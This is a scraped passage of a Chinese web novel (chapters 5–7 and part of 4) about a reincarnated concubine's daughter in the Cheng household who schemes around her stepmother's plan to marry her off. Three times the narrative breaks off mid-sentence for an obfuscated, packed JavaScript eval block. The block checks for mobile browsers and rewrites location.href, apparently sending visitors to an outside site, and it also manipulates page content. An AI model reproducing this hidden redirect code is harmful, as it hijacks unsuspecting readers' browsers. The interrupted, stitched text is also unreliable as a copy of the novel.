谁知这事正好传到了圣上耳朵里,当时恰逢西北战事吃紧,朝中找不到能堪大用的将才,圣上气头之上,就在上朝时将他斥责了一顿。 圣上仁厚,除了口头上骂一顿,扣了点俸禄,也没真的做什么,但程老爷却吓破了胆,回到家后拆了院子建马场,又让所有子女开始学马术。 但大家对此都不太热衷,除了一开始被程老爷压着学了一段时间,之后就很少会过来了。只有程菀,除了天气恶劣时,基本每天都会来跑一个时辰的马。 上辈子她是猝死的,除了太过劳累以外,也因为长期久坐身体太差了,这辈子要好好活着,除了吃好喝好休息好,还特别注重锻炼身体。人在健康时,追求的太多,只有生病后,才知道健康的身体有多重要。 所以她对于读书、练琴、女红等课程,是能躲就躲,绝对不牺牲睡眠时间,让自己过度劳累。却对运动的事特别热衷,马球、蹴鞠、投壶等她都很擅长,最喜欢的就是骑马。 “娘子!” 远处传来藜麦的呼喊,程菀挥动缰绳,指挥着马奔去,而后利落下马,接过婢女手中的帕子开始擦汗。 藜麦跟着她往外走,压低声音把黄太太来了的消息告诉她。 兰氏这么快叫媒人上门,意料之外,但又是情理之中,七娘子要顺顺利利的嫁到国公府去,自然要先解决比她年长的两位姐姐。 “娘子,这可如何是好?”藜麦着急不已,太太一心只有七娘子与国公府的婚事,眼下这么急迫的要将自家娘子嫁出去,想想也知道不会费太大的心思,要是随意找个人就定下了亲事,男方的家世人品一概不管,那毁掉的可是五娘子的一辈子啊! 藜麦的担忧不无道理,以兰氏的品行确实做得出来这种事,程菀的脸色不由有些凝重。 对于女人,嫁人好似重新投胎,在现代如果夫妻不和睦,想离婚都没那么容易,更何况是古代? 她活了两世,自然不会有“不结婚”这种天真的打算。只是按照她的计划,她今年还未满十六,景朝女子嫁人多是双十年华,去除定礼的时间,至少还有三年可以供她挑选。 而且程家有不能苛待庶子庶女的组训在,就算兰氏对她们这些庶女再不满,为了自己的名声,也会慢慢给她们挑个还算不错的夫婿,已经嫁出去的庶姐四娘子便是如此。 她没有什么“一生一世一双人”这种不切实际的幻想,只要男方的品性端正,为人正直,即便是生活清苦些,她也有信心能将日子经营好。 但大娘子突然过世,国公府程家要赶紧把七娘子嫁去国公府,情急之下,谁还会把她这一个小小庶女放在心上?对于兰氏而言,不管她嫁给谁,是人是鬼哪怕是只猪,只要出了程家大门,一切都毫无所谓。 不行,绝对不能让兰氏就这么随随便便把她嫁了! 程菀眉心一拧,很快又平静下来,“纵使计划赶不上变化,咱们也不能自乱阵脚,这个时候,肯定有人比我们更着急。” 藜麦立马反应过来:“娘子是说……六娘子和杨姨娘?” 程菀颔首。 兰氏那般痛恨杨姨娘母子,怎么可能放过这么好的报复机会?自然,杨姨娘和程蓉肯定会找程老爷闹,但她们太蠢,闹来闹去反而耽误时间。 程菀捏了捏手里的帕子,一改往日慢悠悠的步伐,昂首阔步的往东院走去,眉目间已然带上了锋芒毕露的凌厉,吩咐藜麦:“磨墨,我来给她们指条明路。” …… 虽说昨天程老爷一回来,就把程蓉从祠堂里放了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224033|197534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,但他下值太晚,程蓉至少跪了两个时辰,初春的祠堂阴冷刺骨,她又不像程常德有姨娘一早准备好的厚实蒲团,当晚就发起了低热。 杨姨娘心疼不已,当晚便让程蓉留宿在自己院子里,又差人请了好几个大夫回来,今天早上终于退了烧,还来不及松口气,程蓉知道杨姨娘的所作所为后,当即大怒,把一桌子饭菜全都摔了! “姨娘明明知道我有多想嫁进国公府,为何要断了我的希望!” 从前大娘子在她不敢想,但现在大娘子已经死了,国公府又愿意再次和程家联姻,程若是个任人拿捏的蠢货,程菀是无人在意的野草,整个程家除了她,谁还能有资格嫁于谢钰之为妻。 那般显赫的门第,那般优秀的郎君,想到这些,连跪在刺骨的祠堂里,她的心都是火热的。她费心筹谋,甚至不惜得罪兰氏,都要抢夺这个机会。可姨娘却当着父亲的面说出那种话,她还怎么去争? 程蓉气的嚎啕大哭,再也顾不上仪态了。 杨姨娘心疼的直掉眼泪:“蓉儿!你明明知道姨娘是最盼着你好的啊,但凡有一丝的希望,就算是拼了我这条命,我都会把你送上世子夫人的位置,是你父亲他根本没这打算啊!” 想起程老爷当时决绝冷情的目光,杨姨娘心里也满是怨怼,从前她以为有了程老爷的宠爱,她就有了一切,但现在连亲生女儿想嫁进国公府他都不允许。 这一刻她突然发觉,男人的宠爱简直比狗屁还不如! “蓉儿,你不知道,大娘子曾经向太太抱怨过,说谢钰之为人太过冷心冷情,对她很少有枕边人的关怀;她那个弟妹更是歹毒,仗着自己受谢老太太的宠爱,便霸占着中馈不放,给大娘子找了许多不痛快。这样想来,谢钰之和国公府也就那样,不是个多好的去处。” 这些都是杨姨娘曾经在程老爷那里偷听到的,人一旦得不到什么时,就会费尽心思的找缺点,以此来安慰自己。 程蓉不停的啜泣:“那又如何?那到底是谢钰之啊!” “唉!”杨姨娘嘴上这么说,但心里也是放不下的。 但很快,母女两就没功夫可惜这件事了,因为珊瑚急匆匆的跑了进来:“六娘子不好了,太太将黄夫人请来了,说是来给五娘子、六娘子说亲的!” 程蓉傻了:“说亲?” “这个毒妇!她是想要把你和五丫头随便配了人家,要早点把七丫头嫁进国公府啊!”杨姨娘没想到兰氏如此心狠,她昨天已经松口不会让蓉儿去抢国公府的婚事,兰氏却还如此着急要把蓉儿嫁出去,这是把她们母女往绝路上逼啊! 程蓉大喊:“姨娘你快想想办法啊,太太肯定会毁了我的!” 杨姨娘当然知道太太不会放过蓉儿,甚至会故意找门中看不中用的婚事,毁了蓉儿的后半辈子。她想找老爷求情,让老爷出面给蓉儿说门好亲事。 但程老爷昨天的态度已经说明了一切,对于他来说,没什么比与国公府联姻更重要,为了确保万无一失,他肯定会同意兰氏的做法,越早把蓉儿嫁出去越好。 意识到自己一直倚仗的后路彻底坍塌,杨姨娘着急的帕子都要扯烂了,怎么办,怎么办…… 就在她焦头烂额时,一旁的丫鬟眼珠子转了转,突然道:“姨娘,奴婢听闻丹霞山的赏花宴快要开始了。” 5. 第 5 章 京郊丹霞山的赏花宴很出名,倒不是因为那里的风景有多好,而是参加赏花宴的全是京中家世优越的少男少女们,且其中大多是未婚,也就是变相的相看大会。 听到丫鬟这么说,杨姨娘立马反应过来:“是了!蓉儿,咱们可以去赏花宴上试试,不管怎么样,也比太太在外头随意找个人把你打发了强。” 程蓉还沉浸在恐慌与愤怒中,恶声恶气道:“姨娘莫不是气昏了头?赏花宴上优秀郎君是多,但谁能担保一定能成?万一我选中的没有看上我,看上我的我又不满意,岂不是白费力气?” 有大娘子前车之鉴在,程蓉觉得,凭借她的相貌手段,怎么着也得嫁个公侯世家的郎君。只是要想高嫁,必须徐徐图之才行。 就比如大娘子当日,要不是有兰氏拼命给她造势,让她有了个“景朝第一才女”的称号,怎么可能嫁进国公府? 她觉得自己的才华可不比大娘子差多少,只要给她时间经营,再让姨娘吹吹老爷的枕边风,肯定也能找个不差的郎君,现在这慌里慌张的,如何能成事? 杨姨娘自然知道程蓉在想什么,换做往常她肯定会夸奖女儿有志气,但现在已经火烧眉头了! 她眼睛一转,立马有了计较:“蓉儿,你听姨娘的,现在咱们必须退一步,不去想那些王侯郎君,就找魏松!” 程老爷宠爱杨姨娘,一双儿女都由她亲自照料,程常德启蒙后虽然搬去了前院居住,但每隔几日都会过来陪姨娘用膳,这魏松,就是程常德的同窗。 程常德经常说起他,说他学问好,相貌好,品性好,就是家境一般,耽误了好几年。 “你四哥说了,先生说他明年下场必定能中,且至少也是甲等。这样的人虽然现在空无一物,但日后在朝堂上定能步步高升,未尝不可给你挣个诰命回来!而且他家境贫寒,想要往上爬,就只能扒着咱们程府,等你嫁过去,就是高高在上的主母,他会对你言听计从,关怀备至。他还人品好,日后就算发达了,也不会冷落了你……蓉儿,这日子可比太太都要舒坦百倍。” “等去了赏花宴,我让你四哥身边的小厮递给他一杯酒,那酒里加了东西,一口就会发昏,到时候你先去空房间里等着,等小厮将他扶进房间休息,孤男寡女共处一室……读书人的名声比什么都重要,他不想毁了自己的前途,就会把这事烂在肚子里,马上派人上门提亲。” 程蓉眼睛倏地睁大,声音都微微颤抖:“姨娘,这,这真的可行吗?” “自然。只是现在还得让太太同意带你们去赏花宴才行。”杨姨娘知道直接去找兰氏,她肯定不会答应,只能去找程老爷求情。 若是往常,这么一点小事,与她而言易如反掌,但这事涉及到了国公府的亲事,万一老爷不想在这上面节外生枝,她该怎么办? 这么多年因受宠而得意洋洋的杨姨娘,第一次体会到了深深的无力。 但令她意外的事,当晚,她刚提起赏花宴的话头,程老爷就点头答应了:“行,那让太太带她们都去。” 杨姨娘无比震惊,竟然这么容易? 但其实程老爷心里也在犯嘀咕,今天他照常去酒楼用膳,怕被兰氏发现身上的饭菜香,他用完饭后都会在巷子口吹吹风,今日吹风时,却听到有人在讨论,说别看京城高官世家外边看着金玉锦绣,内里却是一团糟。 比如有些主母苛待庶女,就会拿捏庶女的婚事,故意将她们嫁给不好的郎君,毁了她们一生。 修身齐家治国平天下,一个当官的,连自己后宅之事都处置不好,又何谈在朝堂为陛下分忧? 不知道是不是喝了酒,脑子发昏,程老爷总感觉那两人的目光时有时无的落在他身上,等到一回家听到杨姨娘说什么赏花宴的事,他猛然惊醒,太太最近不就在操持着五丫头和蓉儿出嫁的事? 太太说为防夜长梦多,早日将她们嫁出去,就不相看了,直接请了全福人挑两个好的男方就行。 议亲本就是父母之命媒妁之言,程老爷直接答应了。 可此时想起酒楼外那两人的话,他吓出了一身冷汗,要是这事被人知晓,外头人说他磋磨庶女,不会管家怎么办? 当日他和武将争吵的事传出去,就被圣上狠狠斥责一番,如今再传出什么对他不利的流言,就怕连头上的乌纱帽都保不住了。 是以他马上答应了赏花宴的事,还亲自去告诉兰氏:“就带她们去一场,要是有好的郎君最好,没有的话,再按原计划来,也不耽误时间。” 兰氏一听就知道是杨姨娘的鬼主意,但她也不怕,难不成一场赏花宴的功夫,程蓉就能有法子逃出她的手掌心? 垂死挣扎罢了。 “是。” …… 得知要去赏花宴,藜麦看向程菀的眼神简直在发光! “娘子您两封信下去,这事就成了,也太厉害了!”那日娘子让她磨墨写了两封信传出去,一封是给杨姨娘房里的二等丫鬟,一封是传给府外的成文堂。 她虽然不知道信里都写着什么,但特别笃定赏花宴的事,肯定是自家娘子的功劳。 程菀笑了笑,藜麦没猜错,她写的两封信,就是为了这件事。 成文堂是京城规模最大的书肆之一,程菀很早就知道,不管是现代还是古代,手中的资产就是一个女子的立身之本,哪怕是高嫁,只要嫁妆丰厚,说话都能硬气不少。 而且景朝律法极其保护女子的嫁妆,只要女方不愿意,哪怕是夫家,也没资格私自动用。 但姨娘早逝,父亲冷漠,想要丰厚的嫁妆,就只能自己挣。 景朝科举兴盛,各种书籍琳琅满目,唯有启蒙读本存在着很大的空缺。正好程菀上辈子是幼师,对编造幼学书籍得心应手。市面上原本的启蒙书,复杂又繁琐,经她改良过的,不仅掺杂着幽默的简笔画,还有各种各样的寓言故事、趣味知识,简单易懂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224034|197534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引人入胜。 一经发行,就得到了广大好评,成文堂的掌柜亲自写信要与她长期合作。 如今发行书本,官刻本占比很小,大部分都是书肆自己刻印的坊刻本,像程菀这种“投稿”的做法,十分普遍,成文堂规模大,和合作的文人一般采用买断制,也就是一口气付清所有的报酬。 但程菀对自己编制的书籍足够有信心,直接和书肆签订了文书,采用“分成制”,虽然基础报酬比起买断制要低一些,但每卖出一定数量的书籍,就能拿到一笔新的分红。 这些年,程菀除了骑马锻炼身体,其他时候基本都躲在房间里编书,这事除了两个心腹丫鬟,无人知晓。 外人都以为她是在屋子里躲懒,兰氏讨厌庶女,恨不得她们越平庸越好,也不会逼着她去上课,嘴上说着“心疼”,实际是“捧杀”,程菀这个行为,正好令她大大放下戒心。 古代书本贵,编书的报酬也高,这些年,程菀偷偷存了很大一笔积蓄,就等着脱离程家的管控后可以买地买房,成为自己的靠山。 书卖的好,成文堂掌柜对程菀殷勤备至,程菀知道程老爷虚伪冷血,嘴上说着吃素给大娘子积德,其实天天在外面吃香喝辣。 只要让掌柜派人在程老爷面前说着意有所指的话,再让杨姨娘吹吹枕边风,去赏花宴这事就能定下来了。 藜麦和粟米以为程菀想去赏花宴,是给自己相看如意郎君,忙前忙后的开始替娘子挑选春裳,下一刻,却听程菀道:“不用忙活了,就那套鹅黄的就行。” 粟米忙道:“娘子,大娘子忌日已过,何不穿的娇艳些?”以她家娘子的美貌,只要稍作打扮,保准能把赏花宴的郎君全都吸引过来! “以色侍人,非我所愿。”程菀夹了一口梅花小排,满足的双眼微眯,啊,能吃肉真的太美好了,“更何况,这次的主角也不是我。” 她断定程蓉一定会在这场赏花宴上有动作。 她虽然对兰氏随意找男方把她打发的行为不满,但在古代,“父母之命”这句话,是有一定的道理的。 古代女子养在深闺中,能见识到的人太过有限,知道的情报也不多,一不小心就会被骗。可像兰氏这种主母就不一样了,她们行走在外,有自己的人脉和交际圈,对各家的情况了如指掌。 结婚,结两姓之好,不是简简单单两个人的事,而是涉及到两个家庭。有时候哪怕郎君品性一般,但若是婆家人特别通情达理,日子也不会过得多差,反之亦然。 更何况,兰氏能把大娘子培养出来,让她以“京城第一才女”的名号嫁去国公府,就证明她是有真本事的,只是不愿意为庶女筹划罢了。 可一旦程蓉在赏花宴上做出什么不受控制的事来,涉及到了程家的名声,为了程若,为了二少爷,兰氏就算再不甘愿,也必须为程菀找一门逞心如意的婚事。 程菀现在就等着兰氏亲手把好婚事捧到她面前来。 6. 第 6 章 赏花宴当天,一早,兰氏便留了程菀三人在正院用早膳。 兰氏似乎胃口很好,用了两碗粥才搁下筷子,随后一副慈母模样看向程菀;“五丫头今日好像没什么胃口?” 程菀一副十分困顿的样子,笑了笑:“太太,这几天我为长姐抄写了几卷佛经,想着去赏花宴前先去西华寺供奉起来,为长姐祈福。” 程蓉一听这话,差点笑出声来,心想程菀可真是个蠢货,都这个节骨眼上了,还在费尽心思讨好兰氏,难道她以为这样做了,兰氏就会大发慈悲给她找个好人家? 真是愚蠢至极! 昨晚答应姨娘要下嫁给魏松后,程蓉很快又变得惴惴不安起来,纵使姨娘说的天花乱坠,但魏松现在左不过只是个穷书生而已,要是程菀想出什么法子,嫁了个好郎君,反而爬到她头上去了该怎么办? 现在看到程菀还在愚蠢的讨好兰氏,程蓉这才松了口气,心想不愧是有娘生没娘养的,真是一如既往的令人放心啊。 兰氏笑了,似乎很欣慰:“好孩子,多亏你想着你长姐,那就去吧,记得动作快些。” 兰氏哪里看不出来程菀去寺庙是有别的打算,但她不在乎,反正她带着人去赏花宴,只是完成程老爷交代的任务而已,少一个累赘,她还自在些,只要程菀不做出什么出格的事来就行。 所以等马车到了西华寺不远处,兰氏就让心腹严嬷嬷跟着程菀一起过去,等忙完后,再来宴席上和她们汇合。 程菀丝毫不在意严嬷嬷跟着,她来西华寺,一来是想找个地方喝茶打发时间,不去宴会上打搅程蓉办大事;二来,是想给自己姨娘上柱香。 不知道是不是命数如此,上一世,她亲情淡薄,这一世,姨娘也很早就离世了。 姨娘姓柳,程菀记得她闺名叫玉棠。 程老爷和兰氏之间,颇有些“金屋藏娇”的意思,程老爷是庶子出生,原本不受重视。而兰氏是程家姑奶奶的嫡女,受尽宠爱,但娘胎里就带着不足,大夫说子嗣上会很艰难。 在古代,不管家境有多好,一个女子无法生儿育女,无疑是判了死刑。即便姑奶奶下了死命令封口,可大夫的话不知怎么传了出去,当时还未及笄的兰氏,瞬时名声全无。 程老爷是才子,会读书,可程家书香世家,最不缺的就是读书人,而那时的程家老太太没有嫡子,便向老太爷提议养个庶子在自己名下,这就是下一任的程家家主。 消息一放出,三个庶子闹得水深火热,程老爷的姨娘出身卑微,最不受喜爱,为了向上爬,他费尽心思讨了兰氏的喜欢,甚至还放言古有金屋藏娇,待他功成名就时,便搭建一座玉屋,让兰氏无忧无虑受尽宠爱。 这番话把姑奶奶哄得眉开眼笑,立刻为他和兰氏定亲,亲事定下,有了姑奶奶和兰家支持,程老爷顺利过继到嫡母名下。 不知道程老爷立下“玉屋藏娇”的誓言时心中有几分真情,可当两人真正成婚,成为程家的家主与主母后,一切都变了。或许是兰氏见到了太多他儿时的潦倒,即便兰氏并没有子嗣艰难,甚至进门没多久就生下了嫡女嫡子,程老爷还是找机会把杨姨娘抬进了门,并对她极其宠爱。 兰氏一开始将自己通房塞给程老爷,但通房长相一般,根本不是杨姨娘的对手,兰氏又亲自挑选了貌美的柳氏进府,柳氏果然不辜负她的期望,得了几分宠爱,和杨姨娘一起先后怀孕。 比起屡次挑衅的杨姨娘,柳氏显然是“自己人”,兰氏对她也十分照顾,送了不少补品,就希望她能一举得男,把杨姨娘彻底压得抬不起头来。 次年,杨姨娘生下庶子程常德,柳氏却生下了五娘子程菀。 两人生辰只差了两月,但待遇却天差地别,眼看着杨姨娘靠庶子东山再起,兰氏对柳氏母女无比不满。 程菀是胎穿,很小就有记忆了,她还记得,姨娘从不敢光明正大的对她好,只能在夜深人静时,轻声唱着摇篮曲哄她入睡;会偷偷把精心缝制的绣品送出府卖钱,让小厨房给她做可口的酥饼;还会费尽心思的和程老爷见面,求他来看看小女儿。 程菀随姨娘,小时候便玉雪可爱,程老爷哪怕不喜欢她,见了面也会有几分父女情。可每次他椅子还没坐热,杨姨娘那边就会来人说四少爷哭闹不止,程老爷便会忘记一切,急匆匆的离开。 每到这时,兰氏都会狠狠将柳氏训斥一番,所以在程菀的记忆里,姨娘这一辈子都绑在了程老爷身上,一直到她得了风疾,病入膏肓,她还倚靠在床头,乞求着程老爷能出现,能来看一看她的女儿,给她们母女一点庇护…… 昨天是她的忌日,却没有任何人记得,程菀甚至都只能借着给大娘子祈福的名义,才能来上一炷香。 粟米机灵的将严嬷嬷支走,程菀闪身走进一间外表看似不起眼的房间,如果兰氏在这,一定会发现这里的规格远超一般妾室的影堂,长明灯、供品、祭器等供奉,比起许多家族的主母都不差什么了。 程菀缓步上前,仔细擦了擦案上不染纤尘的牌位,浅笑道:“妈,我来看你了。” …… 赏花宴设在一片桃林之间,春风吹拂,花香四溢,但程蓉却没有丝毫的心情欣赏这番美景,事实上,她快要气疯了。 刚到达宴会,黄夫人就急急忙忙把兰氏叫走了,两人什么都没说,但用头发丝想都知道是为了自己的亲事,程蓉急的帕子都快捏烂了。 偏偏这时,太常少卿家的苏二娘子,急急忙忙走了过来,程蓉和程若分明站在一起,但她却好似不认识程蓉,特别亲热的携了程若往前走,笑嘻嘻的道:“七娘,你可算过来了,我们都等你好久了!” “等我做什么?”程若原本因为国公府亲事心中烦闷,听到好友这么说,难得打起精神,想要转化一下心情。 谁知苏二娘下句便是:“雨中草色绿堪染,水上桃花红欲然。今日风景这般好,咱们来作诗吧,你学问最好,你先来!” “不不,我不行的。” 还未等程若拒绝,剩下的小娘子们全都跟着开口了:“七娘子太谦虚了,当日你长姐一首赞桃花的诗,惊艳绝伦,听说连谢世子都是被这首诗打动了。” “正是,你可是大娘子的嫡亲妹妹,肯定也不会差到哪里去。” “不如来抚琴吧,听说大娘子的琴也是一绝,你一定也很擅长……” 程若脸上笑着,指甲却在掌心掐出了深深的血痕,又是如此,又是如此! 不知道从什么时候开始,或许是长姐“京城第一才女”的名号响起,或许是长姐嫁给谢世子为妻,又或许是从她一出生开始,她就已经不再是她。 她不是程若,不是程家七娘子,只是程苒的妹妹! 出门在外,大家会说“你是程苒的妹妹,你姐姐那么优秀,你也一定不差吧?” 在学里,先生会说“你姐姐才艺双绝,五岁便会作诗,你怎么学的这么慢?” 在家里,母亲更是不厌其烦的道“你姐姐管家算账无一不通,你为何学不会?你姐姐从不懒散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224035|197534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,学不会就不休息,你自然也不需要休息。” 不管在哪里,不管她面对的是谁,所有人都会不厌其烦,一遍又一遍的拿她和姐姐比较。 为什么!为什么!她只是程若,她不是第二个程苒,嫁进国公府的不是她,京城第一才女不是她,才艺双绝的更不是她,为什么她要永远活在姐姐的阴影之下! 有时候她甚至在想,为什么她要是程苒的妹妹,为什么她要成为程家的七娘子,她甚至想母亲把她除名,不让她做长姐的妹妹,把她丢去做姨娘的女儿,哪怕让她想五姐姐那样孤零零的长大也好啊,至少可以自由自在的活一次。 没有人能理解她的痛苦,甚至连她最亲近的奶嬷嬷在知道她的想法后,都会诧异的大喊:“若姐儿你这是说什么?一荣俱荣,一损俱损,你和大娘子可是亲姐妹,她好,对你也只有好处啊。” 奶嬷嬷脸上的震惊太过明显,好像她做了什么大逆不道,罪大恶极的事。程若害怕她会告诉母亲,只能笑着道:“您说得对,是我糊涂了。”脸上在笑,手心却被掐的鲜血淋漓。 从那次以后,程若不再敢向任何人倾诉,她只能告诉自己,再等等,再等等,等嫁出去就好了,有了新的家,她就能做她自己了。 所以她每天躲在被窝里,掰着指头算自己还有多久及笄,还有多久能嫁人。 那日,在听到母亲说要将自己嫁回江南老家时,她好开心!她飞一般的跑到书房,找出舆图,她发现江南离京城好远,在那里,一定不会有人再喊她“程苒的妹妹”,在那里,她只是她自己而已。 她甚至连去了江南,要给母亲哥嫂姐姐们买什么土仪都想好了。 就在这时,嫡姐走了,母亲为了束哥儿,父亲为了国公府,要将她嫁入谢家。 那是长姐的夫君,长姐的孩子,长姐的位置!如果她真的嫁过去,今天这种情形只会日复一日,年复一年的重现,她永远无法摆脱。 程若狠狠吐出一口气,就像潜入水底快要溺亡的人一般,她觉得好累、好累…… …… “娘子,咱们要抓紧时间了。”珊瑚小声提醒道。 程常德已经和程老爷去拜见名师了,但昨天杨姨娘就跟他通了气,自然,杨姨娘不敢把自己的计划告诉他,怕他脑子轴,坏事。 只说魏松行走在外,没个人伺候会被人瞧不起,让程常德把自己的小厮拨给他。程常德十分欣赏魏松的才华,欣然接受,杨姨娘早就买通了小厮,只要程蓉一过去,小厮便会开始行动。 赏花宴刚开始,现在来的人不多,现在过去,成功的可能性是最大的。 程蓉也明白这个道理,可此时,她看着被众星捧月的程若,怎么都迈不动步子。 她受够了被冷落。 从前大家围着大娘子,冷落她,现在大家围着程若,又把她冷在一旁,凭什么?就因为她是庶女?明明她这么优秀,她才应该是被众星捧月的那一个! 魏松再好,那就是个寒门士子,就算真的能科举高中,入朝为官,顶了天也只是个清流。无权无势,无依无靠,她就算嫁过去当主母,依旧会被人看不起。 不!她不能再过这样的日子!她生活中所有的不幸,都是没有权势造成的,就连不能嫁入国公府也是如此。 所以,她要嫁就要嫁有权有势的勋贵,能让她成为人上人,就像昔日的大娘子那样,不管在哪里,都会被所有人追捧。 程蓉下定决心,掉转脚步:“珊瑚,我们走!” 7. 第 7 章 程菀在寺庙里上完香,估摸着时间差不多了,慢吞吞的往外走。 西华寺的风景很不错,虽然不像赏花宴上那般热闹,但这里香火旺盛,又是京中女客常来之所,内里的布置很是花了一番心思,周围环境清幽雅致,禅房花木深,耳畔还能听到泉水叮咚,别有一番韵味。 程菀想,等成婚后摆脱了程家,她也可以去郊外或山下寻一处有溪水的地方,买下围起来做成避暑山庄。在溪水旁堆砌石块,种上许多迎春花,开花后如同星点般漂亮。 再在旁边搭个秋千,最好在水中养上几尾鱼,听说溪水养出来的鱼肉最是鲜美,可是普通的鱼不好看,好看的锦鲤也不知道好不好吃? 她在脑海中琢磨着全鱼宴的功夫,程家的马车已经到了,程菀被藜麦扶着上马车,越想越饿,扭头刚想嘱咐藜麦,晚上去小厨房点一道“拨霞供”,也就是现在的鱼片火锅。 程家的厨娘特别会做鱼,将鱼肉片的薄如纸,腌制后放进滚烫的浓汤中一涮,红色的鱼肉霎变白,仿佛朝霞在云朵间翻滚。名字雅,味道更好,尤其是鲜美的鱼汤,最适合初春了,一口下去,浑身暖洋洋的—— 只是她还来不及开口,就对上一双古井无波的眼眸。 程若坐在马车里,手心被掐出的伤口血模糊成一片。她不知道程菀只是因为一道美食而开心,可看着她嘴角浅淡却轻松的笑容,程若有些恍惚,自己好像从来没有这么开心过…… 她扯了扯嘴角,努力想让自己笑出来,她好像在问程菀,又好像在自言自语:“五姐姐,为何你看上去一直都很愉悦?” 程菀和程若只差了两岁不到,年纪相近,程若又不是像程蓉那般损人利己、掐尖要强的人,按理说,她们的关系应该不错,但事实正好相反。 兰氏厌恶庶女,不仅自身厌恶,也不允许自己的孩子和庶女多有交集。 大娘子性子高傲,平等的看不上每一个庶妹。但程若不一样,程菀还记得那时刚启蒙,她去学里上课时,程蓉故意弄坏了她的绣品,还诬陷她说谎。 当时姨娘已病入膏肓,她不愿与程蓉起冲突,是程若主动站了出来,不仅替她在先生面前作证,下学后,还偷偷递给她一根人参须,说是自己偷偷藏起来的,让五姐姐带回去给姨娘补身体。 人参须对姨娘的病情毫无帮助,但程菀很感激程若,她想和这个妹妹交好,特意把自己做的最好的荷包送给了她,但这事却被兰氏知道了。 兰氏剪烂了她的荷包,又让心腹嬷嬷上门对着姨娘指桑骂槐的训了一通,从那以后,程菀没有再和程若有任何多余的交集,对她的了解,也仅限婢女口中的“仁善、柔和、性情纯真”。 只是此时她看着程若的眼神,心中一惊,这种绝望、悲痛的眼神,绝不应该出现在一个花季少女的身上,反倒更像是后世那种心如死灰的抑郁患者。可是之前大娘子去世时,她都没见过程若这样。 程菀怕自己看错了,待她还想观察时,程若已经躲开了目光。 她收回视线,状似什么都没发觉,开口道:“可能是因为我清楚的知道自己想要什么吧。” 程若立马扭头,就见这个在家中一向如同透明人一般的五姐姐,眸中带笑的看着她:“人有了自己想要的,坚定的朝着目标前进,日子自然能更有光彩些。” 程菀不知道她身上发生了什么,现在马车里虽然只有她们两人,但外面跟着的都是兰氏的人,她无法多问,也不想和兰氏有过多的纠缠,只能尽量用语言去开导。 在她对面的程若骤然间瞳孔一缩,只觉耳中“嗡”的一声,手里帕子掉了都没反应。 是啊,坚持自己想要的,如此简单的道理!她明明知道自己想要什么,连给自己搏一搏都做不到,岂非白活了这一世? 五姐姐能做到,她为什么不能?! …… 杨姨娘从晨起便坐立不安,连早膳都没吃两口,她知道,只要自己和蓉儿的计谋成了,太太和老爷肯定会震怒,把她们母女关进祠堂,说不定还要家法伺候。 所以她老早就买通了下人,真要去了祠堂,至少有人准备吃的、热水和药,还要有人通风报信才行。 但她也不怕,老爷再生气,也不能把她们关一辈子,等魏松那边过来提亲,就会把她们放出来,所以顶多委屈两三日。 不过还是要给四少爷留个信,让他把她偷偷攒的银子、首饰这些拿去给魏松,充当魏松来提亲时的聘礼。魏家条件差,自己必须得帮着准备,聘礼越多,蓉儿在姐妹间才越有面子。 正当杨姨娘清点银票时,婢女过来通报了:“姨娘,太太回府了。” “回来了!”杨姨娘连忙把东西塞给婢女,蓉儿犯了这么大的错,太太回府第一件事肯定是把她拖去正院,杨姨娘又担忧又期待。 可她左等右等,正院那边一点消息都没有。 怎么回事?莫不是太太想趁机打蓉儿的板子? 杨姨娘吓了一跳,忙向外冲去,走了没两步,就看到程蓉带着珊瑚朝这边走来,身上干干净净的,什么事都没有。 “蓉儿!成了吗?”杨姨娘激动的拽住她的手。 程蓉脸上带着喜悦,带着羞涩,压低声音:“先进屋再说。” 杨姨娘见她这种脸色,以为事成了,喜不胜收,可当房门紧闭,程蓉第一句话便是:“我没有去找魏松,我不想嫁给他。” “什么?!”杨姨娘傻了。 程蓉已经下定决心放弃魏松,但杨姨娘给她买通的小厮还能派上用场,她让珊瑚把小厮找来,又让小厮去男客聚集的地方打听,看看今日有没有身份高贵的郎君出席。 小厮很快带了好消息过来,说在湖心亭处,宁南侯府的世子正在一人独酌。 “宁南侯府?”杨姨娘受宠,很多事程老爷都会告诉她,程蓉的消息也比一般庶女灵通些。 她知道在京城勋贵世家中,宁南侯府是行事最为低调的,因为不受圣上重视,仅靠祖上荫庇的爵位传承,而且世子身体不佳,听说是个药罐子。 但,这可是侯府啊!虽然比不上国公府谢家,但那也是上上荣宠,如果她能嫁入侯府当主母,那就是世子妃,她的孩子就是下一任宁南侯。就算程若嫁去国公府当继室,也越不到她头上去! 程蓉呼吸急促,塞给小厮一把银瓜子:“快,带我过去!” 